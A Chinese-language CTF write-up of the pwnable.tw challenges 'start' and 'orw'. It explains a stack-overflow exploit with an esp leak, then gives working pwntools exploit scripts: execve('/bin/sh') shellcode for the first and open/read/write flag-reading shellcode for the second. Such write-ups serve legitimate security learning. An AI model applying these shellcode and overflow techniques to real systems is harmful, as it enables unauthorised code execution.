尝试学pwn,放弃学pwn
start
下载, 反编译获得如下代码
.text:08048060 public _start
.text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push ':FTC'
.text:08048073 push ' eht'
.text:08048078 push ' tra'
.text:0804807D push 'ts s'
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch ; '<'
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn
.text:0804809C _start endp ; sp-analysis failed
- esp压栈, 返回地址压栈
- 清空了eax, ebx, ecx, edx
- 四次push压入字符串 Let’s start the CTF :
- 将栈顶地址作为参数移到ecx中
- 将20移到dl (edx的低八位)中, 20 就是上面字符串的长度
- sys_write将要向stdout写入, 所以将1移动到bl (ebx的低8位)中
- 因为要调用的系统调用为sys_write, 所以将其系统呼叫号也就是4移动到al (eax的低八位)中
- 使用 int 80h 来调用中断, 相当于call, 参数为前面的那些, 至此标准输出中写入了字符串
- ebx置0, 表示从标准输入中读取
- 将60传入edx, 表示读取60个字节 (注意这些字节会覆盖原先栈中的字符串)
- 系统呼叫号置3, 表示使用sys_read调用
- int 80h来调用中断, 将内容读入ecx中的地址也就是栈顶中
- 将esp增加20字节
- 弹栈并执行弹出地址所指向的指令
攻击思路为:
- 程序向栈中写入数据, 然后再将esp增加20然后弹栈执行, 但是我们读取的数据最大有60字节, 那么可以读入超过20字节的数据, 并控制弹栈执行的指令. 如果让弹出执行的指令为sys_write部分的代码, 那么就会泄漏最开始压栈的esp地址
- 泄漏esp地址之后, 进行第二次攻击, 同样是弹出执行sys_write, 接着代码继续执行到sys_read, 这里让程序读入20个垃圾字符, 接下来程序会将esp增加20, 然后再次弹栈执行, 这次弹栈出来要执行的指令的地址 应该是shellcode的地址, 那么shellcode的地址应该是多少呢? 应该是最开始的esp地址加上20, 这里我第一次看的时候想了好久, 可以看这位师傅的图帮助理解https://xuanxuanblingbling.github.io/ctf/pwn/2019/08/30/start/
exp如下
from pwn import *
p = remote('chall.pwnable.tw', 10000)
# p = process('./start')
shellcode= '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
pad = 'a'*20
# pad = pad.decode('utf8')
addr = 0x8048087
payload1 = pad + p32(addr).decode('unicode_escape')
p.send(payload1)
p.recvuntil(":")
oldesp = u32(p.recv(4))
shellcode_addr = oldesp + 20
payload2 = pad + p32(shellcode_addr).decode('unicode_escape') + shellcode
p.send(payload2)
p.interactive()
orw
逆向得到源代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (*)(void))shellcode)();
return 0;
}
orw_seccomp 说是限制执行的函数的, 题目说只能执行sys_open sys_read sys_write. 然后接下来程序读取了shellcode并且执行. 所以向程序发送asm代码, 先对flag文件使用sys_open, 然后用sys_read读取内容, 最后使用sys_write 将内容写到标准输出中.
from pwn import *
context(arch='i386',os='linux')
#context(log_level='debug')
io = remote('chall.pwnable.tw',10001)
open_code = '''
mov eax, 0x5;
push 0x00006761;
push 0x6c662f77;
push 0x726f2f65;
push 0x6d6f682f;
mov ebx,esp;
xor ecx,ecx;
xor edx,edx;
int 0x80;
'''
read_code = '''
mov ecx, ebx;
mov ebx, eax;
mov eax, 0x3;
mov edx, 0x60;
int 0x80;
'''
write_code = '''
mov eax, 0x4;
mov ebx, 0x1;
int 0x80;
'''
payload = asm(open_code+read_code+write_code)
io.recvuntil(':')
io.send(payload)
io.interactive()